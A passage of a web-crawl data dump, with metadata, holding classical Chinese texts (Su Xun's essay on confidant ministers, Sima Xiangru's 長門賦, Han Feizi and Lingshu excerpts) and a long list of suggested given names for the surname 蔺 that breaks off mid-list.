張智軒\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E5%8F%B8%E5%BE%92%E6%9A%89------------.html","date":"2020-09-30T23:57:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402130531.89\/warc\/CC-MAIN-20200930235415-20201001025415-00110.warc.gz","language":"lzh","language_score":0.6702501774,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6702501773834229, \"cmn_Hani_score\": 0.24070098996162415, \"nan_Hani_score\": 0.07892211526632309}","num_words":186,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.723,"perplexity_score":500.0,"cluster_detection":1} +{"text":"遠慮\n聖人之道,有經,有權,有機,是以有民,有群臣,而又有腹心之臣。曰經者,天下之民舉知之可也,曰權者,民不得而知矣,群臣知之可也,曰機者,雖群臣亦不得而知矣,腹心之臣知之可也。夫使聖人而無權,則無以成天下之務,無機,則無以濟萬世之功。然皆非天下之民所宜知。而機者,又群臣所不得聞,群臣不得聞,誰與議?不議不濟。然則所謂腹心之臣者,不可一日無也。\n後世見三代取天下以仁義,而守之以禮樂也,則曰聖人無機。夫取天下與守天下,無機不能。顧三代聖人之機,不若後世之詐,故後世不得見耳。有機也,是以有腹心之臣。禹有益,湯有伊尹,武王有太公望。是三臣者,聞天下之所不聞,知群臣之所不知。禹與湯、武倡其機於上,而三臣共和之於下,以成萬世之功。下而至於桓、文,有管仲、狐偃為之謀主,闔廬有伍員,勾踐有范蠡、大夫種。高祖之起也,大將任韓信、黥布、彭越,裨將任曹參、樊噲、滕公、灌嬰,遊說諸侯任酈生、陸賈、樅公,至於奇機密謀,群臣所不與者,惟留侯、酂侯二人。唐太宗之臣多奇才,而委之深、任之密者,亦不過曰房、杜。\n夫君子為善之心與小人為惡之心,一也。君子有機以成其善,小人有機以成其惡。有機也,雖惡亦或濟,無機也,雖善亦不克。是故腹心之臣不可以一日無也。司馬氏,魏之賊也,有賈充之徒為之腹心之臣以濟。陳勝、吳廣,秦民之湯、武也,無腹心之臣以不克。何則?無腹心之臣者,無機也,有機而泄也。夫無機與有機而泄者,譬如虎豹食人而不知設陷井,設陷井而不知以物覆其上者也。\n或曰:機者,創業之君所假以濟耳,守成之世,其奚事機而安用夫腹心之臣?嗚呼!守成之世,能遂熙然如太古之世矣乎?未也,吾未見機之可去也。且夫天下之變,常伏於燕安,田文所謂\"主少國危,大臣未附\",如此等事,何世無之。當是之時,而無腹心之臣,可為寒心哉。昔者,高祖之末,天下既定矣,而又以周勃遺孝惠、孝文。武帝之末,天下既治矣,而又以霍光遺孝昭、孝宣。蓋天下雖有泰山之勢,而聖人常以累卵為心,故雖守成之世,而腹心之臣不可去也。《傳》曰:\" 百官總己以聽於冢宰。\"彼冢宰者,非腹心之臣,天子安能舉天下之事委之,三年而不置疑於其間耶?又曰:\"五載一巡狩。\"彼無腹心之臣,五載一出,損千里之畿而誰與守耶?今夫一家之中,必有宗老,一介之士,必有密友,以開心胸,以濟緩急。奈何天子而無腹心之臣乎?\n近世之君宴然於上,而使宰相眇然於下。上下不接,而其誌不通矣。臣視君如天之遼然而不可親,而君亦如天之視人,泊然無愛之之心也。是以社稷之憂,彼不以為憂,社稷之喜,彼不以為喜。君憂不辱,君辱不死。一人譽之則用之,一人毀之則舍之。宰相避嫌畏譏且不暇,何暇盡心以憂社稷。數遷數易,視相府如傳舍。百官泛泛於下,而天子煢煢於上,一旦有卒然之憂,吾未見其不顛沛而殞越也。聖人之任腹心之臣也,尊之如父師,愛之如兄弟,握手入臥內,同起居寢食,知無不言,言無不盡,百人譽之不加密,百人毀之不加疏,尊其爵,厚其祿,重其權,而後可以議天下之機,慮天下之變。太祖之用趙中令也,得其道矣。近者寇萊公亦誠其人,然與之權輕,故終以見逐,而天下幾有不測之變。然則其必使之可以生人殺人而後可也。\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E9%81%A0%E6%85%AE","date":"2020-11-29T02:54:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141195967.34\/warc\/CC-MAIN-20201129004335-20201129034335-00480.warc.gz","language":"lzh","language_score":0.5494470596,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5494470596313477, \"cmn_Hani_score\": 0.33601894974708557, \"nan_Hani_score\": 0.07725050300359726, \"wuu_Hani_score\": 0.02088828571140766}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.611,"perplexity_score":500.0,"cluster_detection":1} +{"text":"雜說上\n日月星辰經乎天,天之文也;山川草木羅乎地,地之文也。誌氣言語發乎人,人之文也。誌氣不能塞天地,言語不能根教化,是人之文紕繆也;山崩川涸,草木枯死,是地之文裂絕也;日月暈蝕,星辰錯行,是天之文乖盭也。天文乖盭,無久覆乎上;地文裂絕,無久載乎下;人文紕繆,無久立乎天地之間。故文不可以不慎也。夫毫厘分寸之長,必有中焉;咫尺尋常之長,必有中焉;百千萬裏之長,必有中焉;則天地之大,亦必有中焉。居之中,則長短、大小、高下雖不一,其為中則一也。是以出言居乎中者,聖人之文也;倚乎中者,希聖人之文也;近乎中者,聖人之文也;背而走者,蓋庸人之文也。中古以來至於斯,天下為文,不背中而走者,其希矣。豈徒文背之而已,其視聽識言,又甚於此者矣。凡人皆有耳、目、心、口,耳所以察聲音大小清濁之異也,目所以別采色朱紫白黑之異也,心所以辨是非賢不肖之異也,口所以達耳之聰,導目之明,宣心之智,而敦教化風俗,期所以不怍天地人神也。然而耳不能聽聲,惡得謂之耳歟?目不能辨色,惡得謂之目歟?心不能辨是非好惡,惡得謂之心歟?口不能宣心之智,導目之明,達耳之聰,惡得謂之口歟?四者皆不能於己質形,虛為人爾,其何以自異於犬羊麋鹿乎哉?此皆能已而不自用焉,則是不信己之耳目心口,而信人之耳目心口者也。及其師曠之聰,離婁之明,臧武仲之智,宰我之言,則又不能信之於己,其或悠然先覺者,必謂其狂且愚矣。昔管仲以齊桓霸天下,攘夷狄,華夏免乎被發左衽,崇崇乎功,亦格天下,溢後世,而曾西不忍為管仲也,孟子又不肯為曾西。向使孟子、曾西生於斯世,秉其道終不易,持其道終不變,吾知夫天下之人從而笑之,又從而詬之曰,狂民爾,頑民爾,是其心惡有知哉?曾西、孟子雖被訕謗於天下,亦必固窮不可拔以須後聖爾,其肯畏天下之人而動乎心哉。世俗之鄙陋迫隘也如此,夫何敢複言,安得曾西、孟子而與之昌言哉。\n|本唐朝作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/zh.wikisource.org\/wiki\/%E9%9B%9C%E8%AA%AA%E4%B8%8A","date":"2020-11-27T15:06:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141193221.49\/warc\/CC-MAIN-20201127131802-20201127161802-00120.warc.gz","language":"lzh","language_score":0.5633359551,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5633359551429749, \"cmn_Hani_score\": 0.3259425759315491, \"nan_Hani_score\": 0.06611277908086777, \"yue_Hani_score\": 0.011483592912554741, \"wuu_Hani_score\": 0.010552765801548958}","num_words":3,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.545,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8 六反: 人皆寐、則盲者不知,皆嘿、則喑者不知。覺而使之視,問而使之對,則喑盲者窮矣。不聽其言也,則無術者不知;不任其身也,則不肖者不知;聽其言而求其當,任其身而責其功,則無術不肖者窮矣。夫欲得力士而聽其自言,雖庸人與烏獲不可別也,授之以鼎俎則罷健效矣。故官職者,能士之鼎俎也,任之以事,而愚智分矣。故無術者得於不用,不肖者得於不任,言不用而自文以為辯,身不任而自飾以為高,世主眩其辯、濫其高而尊貴之,是不須視而定明也,不待對而定辯也,喑盲者不得矣。明主聽其言必責其用,觀其行必求其功,然則虛舊之學不談,矜誣之行不飾矣。","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/689win.wordpress.com\/2019\/01\/21\/project-gutenberg-ebook-han-fei-zi\/?shared=email&msg=fail","date":"2020-11-27T18:13:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141193856.40\/warc\/CC-MAIN-20201127161801-20201127191801-00522.warc.gz","language":"lzh","language_score":0.7744702101,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7744702100753784, \"cmn_Hani_score\": 0.19771753251552582, \"nan_Hani_score\": 0.01506379246711731}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.789,"perplexity_score":500.0,"cluster_detection":1} +{"text":"長門賦\n- 孝武皇帝陳皇后時得幸,頗妬。別在長門宮,愁悶悲思。聞蜀郡成都司馬相如天下工為文,奉黃金百斤為相如、文君取酒,因于解悲愁之辭。而相如為文以悟主上,陳皇后復得親幸。其辭曰:\n夫何一佳人兮,步逍遙以自虞。魂踰佚而不反兮,形枯槁而獨居。言我朝往而暮來兮,飲食樂而忘人。心慊移而不省故兮,交得意而相親。\n伊予志之慢愚兮,懷貞慤之懽心。願賜問而自進兮,得尚君之玉音。奉虛言而望誠兮,期城南之離宮。脩薄具而自設兮,君曾不肯乎幸臨。廓獨潛而專精兮,天飄飄而疾風。登蘭臺而遙望兮,神怳怳而外淫。浮雲鬱而四塞兮,天窈窈而晝陰。雷殷殷而響起兮,聲象君之車音。飄風迴而赴閨兮,舉帷幄之襜襜。桂樹交而相紛兮,芳酷烈之誾誾。孔雀集而相存兮,玄猨嘯而長吟。翡翠脅翼而來萃兮,鸞鳳翔而北南。\n心憑噫而不舒兮,邪氣壯而攻中。下蘭臺而周覽兮,步從容於深宮。正殿塊以造天兮,鬱並起而穹崇。間徙倚於東廂兮,觀夫靡靡而無窮。擠玉戶以撼金鋪兮,聲噌吰而似鐘音。刻木蘭以為榱兮,飾文杏以為梁。羅丰茸之遊樹兮,離樓梧而相撐。施瑰木之欂櫨兮,委參差以槺梁。時仿佛以物類兮,象積石之將將。五色炫以相曜兮,煥爛爗而成光。緻錯石之瓴甓兮,象瑇瑁之文章。張羅綺之幔帷兮,垂楚組之連綱。撫柱楣以從容兮,覽曲臺之央央。白鶴噭以哀號兮,孤雌跱於枯楊。\n日黃昏而望絕兮,悵獨託於空堂。懸明月以自照兮,徂清夜於洞房。援雅琴以變調兮,奏愁思之不可長。案流徵以卻轉兮,聲幼玅而復揚。貫歷覽其中操兮,意慷慨而自卬。左右悲而垂淚兮,涕流離而從橫。舒息悒而增欷兮,蹝履起而彷徨。揄長袂以自翳兮,數昔日之諐殃。無面目之可顯兮,遂頹思而就牀。摶芬若以為枕兮,席荃蘭而茝香。忽寢寐而夢想兮,魄若君之在旁。惕寤覺而無見兮,魂迋迋若有亡。衆雞鳴而愁予兮,起視月之精光。觀衆星之行列兮,畢昴出於東方。望中庭之藹藹兮,若季秋之降霜。夜曼曼其若歲兮,懷鬱鬱其不可再更。澹偃蹇而待曙兮,荒亭亭而復明。妾人竊自悲兮,究年歲而不敢忘。\n|此西漢作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E9%95%B7%E9%96%80%E8%B3%A6","date":"2022-05-26T20:30:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662625600.87\/warc\/CC-MAIN-20220526193923-20220526223923-00408.warc.gz","language":"lzh","language_score":0.6058597565,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.6058597564697266, \"cmn_Hani_score\": 0.07771614193916321, \"zxx_Latn_score\": 0.07528718560934067, \"nan_Hani_score\": 0.0495087094604969, \"und_Tang_score\": 0.018114447593688965, \"yue_Hani_score\": 0.013809016905725002, \"jpn_Jpan_score\": 0.011658038944005966, \"und_Cans_score\": 0.01105399988591671}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.343,"perplexity_score":500.0,"cluster_detection":1} +{"text":"霊枢・45外揣\n黄帝曰、余聞九鍼九篇、余親授其調、頗得其意。夫九鍼者、始于一而終于九。然未得其要道也。夫九鍼者、小之則無内、大之則無外、深不可為下、高不可為蓋、恍惚無窮、流溢無極。余知其合于天道人事四時之変也。然余願雜之毫毛、渾束為一、可乎。\n岐伯曰、明乎哉問也。非独鍼道焉、夫治國亦然。黄帝曰、余願聞鍼道、非国事也。岐伯曰、夫治国者、夫惟道焉。非道、何可小大深浅雑合而為一乎。\n黄帝曰、願卒聞之。岐伯曰、日与月焉、水与鏡焉、鼓与響焉。夫日月之明、不失其影。水鏡之察、不失其形。鼓響之応、不後其声。動揺則応和、尽得其情。\n黄帝曰、窘乎哉。昭昭之明不可蔽。其不可蔽、不失陰陽也。合而察之、切而験之、見而得之、若清水明鏡之不失其形也。五音不彰、五色不明、五蔵波蕩、若是則内外相襲、若鼓之応桴、響之応声、影之似形。故遠者司外揣内、近者司内揣外、是謂陰陽之極、天地之蓋。請蔵之霊蘭之室、弗敢使泄也。\n(注)霊蘭之室:伝説では黄帝が書籍を収蔵したところ。\nこのページのトップに戻る","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/www.yakuzenjoho.net\/data\/reisu\/45gaisui.html","date":"2018-12-09T23:47:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823228.36\/warc\/CC-MAIN-20181209232026-20181210013526-00207.warc.gz","language":"lzh","language_score":0.4021148384,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4021148383617401, \"jpn_Jpan_score\": 0.29610511660575867, \"cmn_Hani_score\": 0.19877475500106812, \"wuu_Hani_score\": 0.021473074331879616, \"yue_Hani_score\": 0.014915651641786098, \"nan_Hani_score\": 0.01327422820031643}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.193,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.399,"perplexity_score":500.0,"cluster_detection":1} +{"text":"或曰、三教圣人教人、俱要先破我执。是则无我之体同矣。奈何其用、有经世、忘世、出世、之不同耶。答曰、体用皆同、但有浅深小大之不同耳。假若孔子果有我、是但为一己之私、何以经世。佛老果绝世、是为自度、又何以利生。是知由无我方能经世、由利生方见无我、其实一也。若孔子曰、寂然不动、感而遂通天下之故、用也。明则诚、体也。诚则形、用也。心正意诚、体也。身修家齐国治天下平、用也。老子无名、体也。无为而为、用也。孔子曰、惟天惟大、唯尧则之、荡荡乎民无能名焉。又曰、无为而治者、其舜也欤。且经世以尧舜为祖、此岂有名有为者耶。由无我方视天下皆我、故曰、尧舜与人同耳。以人皆同体、所不同者、但有我私为障碍耳。由人心同此心、心同则无形碍。故汲汲为之教化、以经济之。此所以由无我而经世也。老子则曰、常善教人、故无弃人。无弃人、则人皆可以为尧舜。是由无我方能利生也。若夫一书所言为而不宰、功成不居等语。皆以无为为经世之大用、又何尝忘世哉。至若佛、则体包虚空。用周沙界。随类现身。乃曰、我于一切众生身中成等正觉。又曰、度尽众生、方成佛道。又曰、若能使一众生发菩提心、宁使我身受地狱苦、亦不疲厌。然所化众生、岂不在世间耶。既涉世度生、非经世而何。且为一人而不厌地狱之苦、岂非汲汲耶。若无一类而不现身、岂有一定之名耶。列子尝云、西方有大圣人、不言而信、无为而化、是岂有心要为耶。是知三圣无我之体、利生之用、皆同。但用处大小不同耳。以孔子匡持世道、姑从一身以及家国、后及天下、故化止于中国。且要人人皆做尧舜、以所祖者尧舜也。老子因见当时人心浇薄、故思复太古、以所祖者轩黄也。故件件说话、不同寻常、因见得道大难容、故远去流沙。若佛则教被三千世界、至广至大、无所拣择矣。若子思所赞圣人、乃曰、凡有血气者、莫不尊亲。是知孔子体用、未尝不大、但局时势耳。正是随机之法、故切近人情、此体用之辩也。惜乎后世学者、各束于教。习儒者拘。习老者狂。学佛者隘。此学者之弊、皆执我之害也。果能力破我执、则剖破藩篱、即大家矣。","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/chinalongmai.net\/bencandy-115-4545-1.htm","date":"2019-05-23T18:50:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257361.12\/warc\/CC-MAIN-20190523184048-20190523210048-00487.warc.gz","language":"lzh","language_score":0.5261879563,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.5261879563331604, \"cmn_Hani_score\": 0.15633217990398407, \"nan_Hani_score\": 0.09188304841518402, \"zxx_Latn_score\": 0.03519200161099434, \"wuu_Hani_score\": 0.030111944302916527, \"jpn_Jpan_score\": 0.019247522577643394, \"und_Tang_score\": 0.01444656029343605, \"yue_Hani_score\": 0.013979190029203892, \"und_Cans_score\": 0.01038247998803854}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.526,"perplexity_score":500.0,"cluster_detection":1} +{"text":"蔺姓,出自姬姓周王族,是韩国王室的宗族支系,蔺国君室后裔,以地名命姓。在当今姓氏排行榜上名列第三百位,人口约十九万六千余,占全国人口总数的0.012%左右。蔺姓男孩怎么起名?下面小编带来蔺姓男孩名字有寓意,希望对大家有所帮助。\n蔺剑兵 蔺奕郦 蔺女平 蔺大昭 蔺珠舟 蔺宇桁 蔺申耿 蔺锡状 蔺宗景 蔺锆亦 蔺齐越 蔺七百 蔺帝彰 蔺捷强 蔺斌勇 蔺佑柄 蔺泊云 蔺凯沁 蔺情仪 蔺江霜 蔺欢新 蔺绎盎 蔺章伟 蔺集源 蔺巨奉 蔺爱哲 蔺仁钊 蔺笑翡 蔺湘灿 蔺摆渡 蔺华琮 蔺轿吉 蔺宣铨 蔺海壬 蔺海谳 蔺暄烨 蔺玉翁 蔺丁亮 蔺言二 蔺伟水 蔺觐彤 蔺柯晖 蔺银儒 蔺广裥 蔺书宜 蔺绵诗 蔺服平 蔺明信 蔺成军 蔺沛孚 蔺超爽 蔺盈朵 蔺仕峦 蔺尚稽 蔺与格 蔺向汪 蔺力葳 蔺大贻 蔺美章 蔺国潘 蔺寿三 蔺趼 蔺梓韬 蔺波勋 蔺泊源 蔺沅源 蔺绍民 蔺雨璨 蔺唯道 蔺名澍 蔺营齐 蔺少翠 蔺仕翔 蔺辟峰 蔺敏畅 蔺魏君 蔺敏芯 蔺锦员 蔺玫儒 蔺瀛宽 蔺寿堂 蔺练练 蔺靖串 蔺枫惠\n蔺参耿 蔺来宾 蔺玮殷 蔺浓荫 蔺翊舟 蔺可清 蔺丰颂 蔺雅漾 蔺竣升 蔺必赢 蔺小岐 蔺红鸽 蔺陈呈 蔺名畅 蔺轩婕 蔺成子 蔺羽祥 蔺东锐 蔺冉雯 蔺导忆 蔺磊翱 蔺光绅 蔺栉俨 蔺明谆 蔺鲤俪 蔺胤慈 蔺绪堂 蔺招连 蔺靖闻 蔺绍旺 蔺程昊 蔺鱼淘 蔺芷音 蔺濠警 蔺麒畅 蔺贤烨 蔺颢吉 蔺澎游 蔺中策 蔺申涵 蔺喻影 蔺小予 蔺锐琪 蔺豫轩 蔺恪语 蔺兆彦 蔺于驰 蔺涵弈 蔺慧庾 蔺炫恩 蔺隽建 蔺少毕 蔺毓翰 蔺新渤 蔺墨龙 蔺北兔 蔺钥凡 蔺陆阳 蔺宵禄 蔺润涟 蔺睿冶 蔺壕壑 蔺大淋 蔺涨溢 蔺若帆 蔺戈耿 蔺臣钰 蔺三垧 蔺豫西 蔺舒历 蔺杰欣 蔺琛洪 蔺帝士 蔺戎敏 蔺海崇 蔺贞佑 蔺尊凤 蔺诉童 蔺海育 蔺熙仰 蔺然羽 蔺柔鑫 蔺规手 蔺曜菡 蔺健毅 蔺猊 蔺忠逊 蔺静淋 蔺芊渡 蔺斯达 蔺爱荔 蔺昊融 蔺仕亘 蔺碧滢 蔺山耿 蔺旬妃 蔺德佩 蔺道珍 蔺超恒 蔺栏妃 蔺尧诚 蔺福园 蔺妓妓 蔺冯旭 蔺宏涟 蔺添淇 蔺汶敬 蔺子杲 蔺轩骅 蔺浈侦 蔺洁维 蔺城毅 蔺喜桦 蔺佳铄 蔺士云 蔺尹侦 蔺恒轲 蔺洋鸣 蔺秋博 蔺韦联 蔺瀚淳 蔺弼瀛 蔺城勋 蔺腾溢 蔺阳希 蔺方黎 蔺桉骄 蔺铸豪 蔺思虹 蔺镓魔 蔺霏杨 蔺梓邑 蔺士中 蔺珑 蔺璇嘉 蔺灵弟 蔺栩菖 蔺琬云 蔺水冰 蔺汶腈 蔺珂珈 蔺华妙 蔺增骄 蔺锫瑜 蔺超钧 蔺璐路 蔺舒翱 蔺彦如 蔺驰菲 蔺珍谨 蔺伊绫 蔺骊忆 蔺鹏富 蔺勃辰 蔺夕骊 蔺植树 蔺佳加 蔺莞芙 蔺御亭 蔺葛测 蔺惠方 蔺田米 蔺赆 蔺棂鑫 蔺虎边 蔺雯歆 蔺强华 蔺月轲 蔺梦滢 蔺妤谢 蔺咏行 蔺鸾逸 蔺陆灿 蔺杰栋 蔺均铨 蔺灿秋 蔺有圆 蔺鲵 蔺希运 蔺连利 蔺彩定 蔺承乾 蔺诗超 蔺靖熹 蔺哲诚 蔺薪妤 蔺芷豪 蔺慰慈 蔺立蕴 蔺宛翎 蔺烙壑 蔺致详 蔺结瑜 蔺闰润 蔺律品 蔺乐吟 蔺乐佚 蔺熙琦 蔺家宝 蔺取耿 蔺亮栾 蔺菊从 蔺瀚荻 蔺维枝 蔺正品 蔺重俊 蔺继轩 蔺夔林 蔺蘅霖 蔺定江 蔺宝冬 蔺靖丰 蔺呈菲 蔺正萌 蔺诗昆 蔺丰滋 蔺佳酩 蔺庭况 蔺竺璨 蔺钿圃 蔺天斐 蔺慧玺 蔺全汕 蔺福尧 蔺永珂 蔺州舟 蔺元雨 蔺北原 蔺镧茜 蔺学曦 蔺萌芸 蔺奕承 蔺烽埤 蔺蓓静 蔺材懂 蔺谨平 蔺湛琛 蔺蔓琪 蔺龙囝 蔺艳乔 蔺胜 蔺怀贵 蔺端端 蔺于伎 蔺冉彤 蔺卓袁 蔺力瀚 蔺碧松 蔺塬烽 蔺继豪 蔺川洪 蔺可信 蔺惠葶 蔺舂光 蔺定秀 蔺熙嘉 蔺张顺 蔺和熏 蔺灿炎 蔺胤顺 蔺存钊 蔺驰池 蔺养群 蔺忠洋 蔺曾谊 蔺峥一 蔺殊清 蔺夕漪 蔺锡澄 蔺如阮 蔺晨弈 蔺桓钧 蔺灿焱 蔺雅钰 蔺筱蓁 蔺世材 蔺楠静 蔺承刚 蔺敬龙 蔺慧根 蔺辛亚 蔺洋伊 蔺冠溪 蔺迎晖 蔺相心 蔺琛韵 蔺锡纯 蔺炀越 蔺丁乜 蔺弈庸 蔺煦珂 蔺凯艺 蔺鸣健 蔺于马 蔺金显 蔺君和 蔺露弈 蔺侦璎 蔺紫叶 蔺郑轩 蔺文详 蔺沥仁 蔺挥耿 蔺荣湘 蔺汪集 蔺馨镁 蔺恺汶 蔺子漩 蔺钰点 蔺仟纤 蔺人丁 蔺端民 蔺仙尧 蔺索耿 蔺甘格 蔺其臻 蔺昌袁 蔺崇泽 蔺天瞳 蔺鸥镊 蔺珩佳 蔺骢秋 蔺薪洪 蔺万邦 蔺翔萌 蔺元克 蔺经礼 蔺子桌 蔺人渝 蔺稀钰 蔺欧海 蔺贺瑜 蔺桥喜 蔺兆丰 蔺骊侦 蔺宝彩 蔺英应 蔺沈蜀 蔺睿绚 蔺百琦 蔺坊壑 蔺楚佳 蔺若玛 蔺吟秋 蔺谱圣 蔺昂昂 蔺铒磊 蔺苛洋 蔺文小 蔺瑗萌 蔺晓纪 蔺惠妮 蔺芮名 蔺湘焱 蔺海发 蔺李军 蔺莞期 蔺先葱 蔺珂葭 蔺已迪 蔺园元 蔺沛华 蔺译欣 蔺馥瑜 蔺沁军 蔺意如 蔺慧晟 蔺泽雷 蔺岚骊 蔺协宇 蔺学孱 蔺威杰 蔺漓晟 蔺依繁 蔺碧升 蔺林煦 蔺瀛方 蔺麟融 蔺仁蓝 蔺健涌 蔺仿利 蔺玉朋 蔺格玟 蔺巧凰 蔺赫严 蔺轩清 蔺存广 蔺博蓁 蔺苑婕 蔺肥肠 蔺爱俐 蔺熠滢 蔺虹轩 蔺海臾 蔺锦绚 蔺于似 蔺锘蓝 蔺占卿 蔺皓竣 蔺佳徐 蔺希飞 蔺进豪 蔺星茜 蔺宜虎 蔺丞琦 蔺侥槟 蔺焱妮 蔺龙岩 蔺钰邡 蔺玄一 蔺晶谊 蔺金拾 蔺葵彬 蔺璎珞 蔺坤磊 蔺仓健 蔺净励 蔺若森 蔺瀑汁 蔺钰苓 蔺树莱 蔺湘琦 蔺开历 蔺棋元 蔺珂 蔺瀚若 蔺新姣 蔺敏希 蔺时琪 蔺畅杰 蔺晁崇 蔺羽琦 蔺小鹰 蔺易忠 蔺少易 蔺颢诚 蔺郦钧 蔺相乙 蔺茗俊 蔺恒平 蔺伟阶 蔺广毽 蔺喻娴 蔺厉萱 蔺骁蔺 蔺质茂 蔺袖宁 蔺灯银 蔺一焕 蔺肖溢 蔺子贝 蔺乾林 蔺雅少 蔺佩翎 蔺荔芯 蔺东举 蔺璨月 蔺霜霖 蔺俊贺 蔺雅雨 蔺瑞焕 蔺琛阳 蔺贯华 蔺灵溶 蔺全鹂 蔺采纯 蔺添淳 蔺佚轩 蔺照国 蔺凯滔 蔺向一 蔺亦绝 蔺听竹 蔺鑫刚 蔺继贵 蔺俨珂 蔺锡妙 蔺隆蕙 蔺淑锋 蔺崇恒 蔺盈彤 蔺羹爨 蔺耐儿 蔺骄骄 蔺浅予 蔺夏亦 蔺永庭 蔺倍增 蔺古力 蔺泽谕 蔺资卫 蔺灏翔 蔺康城 蔺镇繁 蔺宸宸 蔺歆宸 蔺仕人 蔺满清 蔺镓淦 蔺恒志 蔺仁原 蔺灼烟 蔺易楚 蔺钰聆 蔺李娴 蔺援越 蔺桂增 蔺璧陇 蔺驿涪 蔺瑾琪 蔺洋修 蔺糠菱 蔺务平 蔺艾拉 蔺宇屹 蔺巾喻 蔺绎显 蔺俊凇 蔺匡中 蔺昕翰 蔺桂汉 蔺支典 蔺铁怀 蔺多炜 蔺秉霆 蔺钥盛 蔺镇普 蔺创宝 蔺炜学 蔺耘志 蔺雅烈 蔺皓颜 蔺陈立 蔺昀谦 蔺厚柯 蔺孝臣 蔺郅仪 蔺冻冻 蔺广焕 蔺志大 蔺韬骐 蔺晓宣 蔺圣鲲 蔺焯如 蔺茂铨 蔺潘祯 蔺聪泽 蔺绮梦 蔺碧南 蔺晖耿 蔺雅娣 蔺艺蝶 蔺氘怯 蔺阿雷 蔺贵缘 蔺钰菀 蔺周弛 蔺路惋 蔺馨芯 蔺瑾丰 蔺莛绘 蔺榆淞 蔺仁石 蔺韦城 蔺萱蓝 蔺泓滢 蔺钦川 蔺诗荞 蔺慧安 蔺雯昆 蔺苷荃 蔺育滢 蔺蕾清 蔺尧城 蔺恒佳 蔺宏搏 蔺俐源 蔺家村 蔺祉妤 蔺剑洋 蔺译水 蔺韬玮 蔺绍金 蔺官学 蔺凡昊 蔺六能 蔺子苒 蔺欢晖 蔺子倚 蔺邦轩 蔺南安 蔺炎洪 蔺国巧 蔺邵昆 蔺辰淞 蔺美林 蔺心舰 蔺丹奎 蔺昂炅 蔺亮廷 蔺荇阳 蔺闪粲 蔺浩晁 蔺彩眠 蔺巧意 蔺泓嶝 蔺慧凯 蔺贤炜 蔺渔桦 蔺人能 蔺渝巧 蔺春朱 蔺邕路 蔺泓华 蔺小鸽 蔺金玻 蔺语禾 蔺渝央 蔺跏稚 蔺熏航 蔺求博 蔺瀑元 蔺战昌 蔺凌情 蔺鸣擐 蔺洵东 蔺示耿 蔺琼艺 蔺添泓 蔺木屐 蔺少添 蔺云沾 蔺佑行 蔺晓淅 蔺祥乐 蔺耐宣 蔺全原 蔺秀碧 蔺敢寒 蔺晓愈 蔺国枝 蔺特朗 蔺洁桐 蔺稹阳 蔺朗弘 蔺若民 蔺全广 蔺烊侨 蔺灯骊 蔺心杉 蔺英桥 蔺向安 蔺洁朗 蔺钰环 蔺赫遥 蔺宪臻 蔺仍兵 蔺寿兰 蔺吉炎 蔺顺职 蔺宸凡 蔺载雁 蔺林缨 蔺呆秀 蔺丁半 蔺申良 蔺勋哲 蔺道连 蔺金懿 蔺惠淘 蔺朵仪 蔺市春 蔺长宁 蔺萝萝 蔺乃铭 蔺卓源 蔺跚逸 蔺柠溪 蔺绍然 蔺锵磊 蔺子魏 蔺晏豪 蔺南晓 蔺宵臣 蔺列钦 